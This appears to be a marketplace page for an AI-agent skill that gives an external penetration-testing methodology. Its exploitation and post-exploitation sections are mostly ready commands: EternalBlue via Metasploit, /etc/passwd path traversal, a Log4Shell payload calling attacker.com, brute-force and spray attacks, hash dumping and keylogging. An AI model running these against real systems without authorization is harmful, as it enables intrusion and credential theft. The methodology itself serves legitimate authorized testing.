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performing-external-network-penetration-test

performing-external-network-penetration-test

github.com/mukul975安全35.2k88 次安装8 周前更新
代码仓库

关于 performing-external-network-penetration-test

这是一份面向安全测试人员的外部网络渗透测试指南,按授权与范围界定、侦察、漏洞分析、利用、后渗透和报告组织测试流程,并列出常用工具。

主要功能

  1. 01制定测试授权与范围
  2. 02开展被动和主动侦察
  3. 03扫描并验证漏洞
  4. 04测试网络服务和 Web 应用
  5. 05执行后渗透检查
  6. 06按风险整理测试报告

适用场景

  1. 01评估组织的互联网暴露资产
  2. 02验证防火墙、VPN 和 Web 服务的安全控制
  3. 03进行计划内的安全审计
  4. 04按 CVSS 优先安排漏洞修复

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-external-network-penetration-test

安装后在 Claude Code 中输入/performing-external-network-penetration-test确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

执行外部网络渗透测试

概述

外部网络渗透测试模拟真实世界中的攻击者,针对组织面向互联网的资产(如防火墙、Web 服务器、邮件服务器、DNS 服务器、VPN 网关和云端点)发起攻击。其目标是在恶意行为者之前识别可利用的漏洞,遵循 PTES(渗透测试执行标准)、OSSTMM 和 NIST SP 800-115 等框架。

何时使用

  • 当进行涉及执行外部网络渗透测试的安全评估时
  • 当针对相关安全事件遵循事件响应流程时
  • 当执行计划内的安全测试或审计活动时
  • 当通过实际操作测试验证安全控制措施时

前提条件

  • 书面授权(由资产所有者签署的《交战规则》文档)
  • 明确的范围:IP 段、域名、子域名和排除项
  • 测试环境:Kali Linux 或 Parrot OS,工具已更新
  • VPN/专用测试基础设施,以避免 IP 被封禁
  • 与 SOC/NOC 协调时间窗口

阶段 1 — 前期准备与范围界定

定义交战规则
Scope:
  - Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
  - Domains: *.target.com, *.target.io
  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com
  - Testing window: Mon-Fri 22:00-06:00 UTC
  - Emergency contact: SOC Lead — +1-555-0100
  - Authorization ID: PENTEST-2025-EXT-042
法律文档清单
文档状态负责人
主服务协议(MSA)已签署法务
工作说明书(SOW)已签署项目经理
交战规则(RoE)已签署CISO
免责授权书已签署CTO
保密协议(NDA)已签署法务
保险凭证已验证风控

阶段 2 — 侦察(信息收集)

被动侦察
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short

# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'

# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"

# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10

# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results

# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
主动侦察
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap

# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan

# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp

# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan

# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan

# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com

# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com

阶段 3 — 漏洞分析

自动化扫描
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"

# OpenVAS scan
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'

# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt

# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm

# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt
手动漏洞验证
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2

# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4

# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode

# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24

# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25

阶段 4 — 漏洞利用

网络服务漏洞利用
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit

# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]

# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
Web 应用漏洞利用
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5

# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav

# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
密码攻击
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4

# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa

# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

阶段 5 — 后渗透

# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester

# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt

# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt

# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24

# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start

阶段 6 — 报告

发现分类(CVSS v3.1)
严重程度CVSS 范围数量示例
严重9.0-10.02通过未修补的 Exchange 实现 RCE(ProxyShell)
高7.0-8.95客户门户中的 SQL 注入
中4.0-6.98缺少安全响应头,TLS 1.0
低0.1-3.912通过服务器横幅信息泄露
信息0.06开放端口记录
报告结构
1. Executive Summary
   - Scope and objectives
   - Key findings summary
   - Risk rating overview
   - Strategic recommendations

2. Technical Findings
   For each finding:
   - Title and CVSS score
   - Affected asset(s)
   - Description and impact
   - Steps to reproduce (with screenshots)
   - Evidence/proof of exploitation
   - Remediation recommendation
   - References (CVE, CWE)

3. Methodology
   - Tools used
   - Testing timeline
   - Frameworks followed (PTES, OWASP)

4. Appendices
   - Full scan results
   - Network diagrams
   - Raw tool output

修复优先级矩阵

优先级时间线措施
P1 — 严重24-48 小时修补 RCE 漏洞,禁用暴露的管理面板
P2 — 高1-2 周修复注入缺陷,实施 MFA
P3 — 中30 天加固 TLS 配置,添加安全响应头
P4 — 低60-90 天移除版本横幅,更新文档

工具参考

工具用途许可证
Nmap端口扫描和服务枚举GPLv2
Metasploit漏洞利用框架BSD
Burp Suite ProWeb 应用测试商业
Nuclei漏洞扫描MIT
Subfinder子域名枚举MIT
SQLMapSQL 注入测试GPLv2
Nessus漏洞扫描器商业
Gobuster目录暴力破解Apache 2.0
Hashcat密码破解MIT
theHarvesterOSINT 邮箱/域名收集GPLv2

参考资料

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